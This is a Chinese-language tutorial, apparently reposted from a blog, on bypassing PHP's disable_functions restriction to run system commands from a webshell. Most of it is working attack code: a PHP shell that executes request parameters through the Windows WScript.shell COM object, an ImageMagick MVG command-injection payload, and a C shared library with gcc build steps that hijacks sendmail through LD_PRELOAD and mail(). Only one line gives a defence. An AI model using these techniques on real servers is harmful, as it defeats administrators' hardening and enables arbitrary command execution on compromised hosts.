PHP绕过disable_function限制(一)

测试环境 php 5.4.5

0x01 利用系统组件绕过

 1.window com组件(php 5.4)(高版本扩展要自己添加)

(COM组件它最早的设计意图是,跨语言实现程序组件的复用。)

测试:

<?php
$command=$_GET['a'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

彻底的解决方案是 直接删除System32目录下wshom.ocx文件

2.利用ImageMagick漏洞绕过disable_function

 ImageMagick是一套功能强大、稳定而且开源的工具集和开发包,可以用来读、写和处理超过89种基本格式的图片文件
如果phpinfo中看到有这个,可以尝试以下

官网下载地址:https://imagemagick.org 

拓展下载:

https://pecl.php.net/package/imagick

https://windows.php.net/downloads/pecl/releases/imagick/3.4.1/

<?php
echo "Disable Functions: " . ini_get('disable_functions') . "
";

$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
    $command = 'id';
}

$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;

file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
?>

3.利用环境变量LD_PRELOAD来绕过

php的mail函数在执行过程中会默认调用系统程序/usr/sbin/sendmail,如果我们能劫持sendmail程序,再用mail函数来触发就能实现我们的目的

LD_PRELOAD是Linux系统的下一个有趣的环境变量:“它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

例子:利用mali函数来测试

#include<stdlib.h>
#include <stdio.h>
#include<string.h>
 
void payload(){
         FILE*fp = fopen("/tmp/2.txt","w");
         fclose(fp);
         system("mkdir /var/www/html/test");
 }
 
 
int geteuid(){
  FILE *fp1=fopen("/tmp/2.txt","r");
  if(fp1!=NULL)
  {
   fclose(fp1);
         return 552;
        }else {
         payload();
         return 552;
       }
 
 
}
执行命令编译为一个动态共享库:

gcc -c -fPIC a.c -o a
gcc -shared a -o a.so

通过putenv来设置LD_PRELOAD,让我们的程序优先被调用。在webshell上用mail函数发送一封邮件来触发。结果为

<?php
   putenv("LD_PRELOAD=/var/www/html/a.so");
   mail("[email protected]","","","","");
  ?>

原文地址:https://www.cnblogs.com/-qing-/p/10944118.html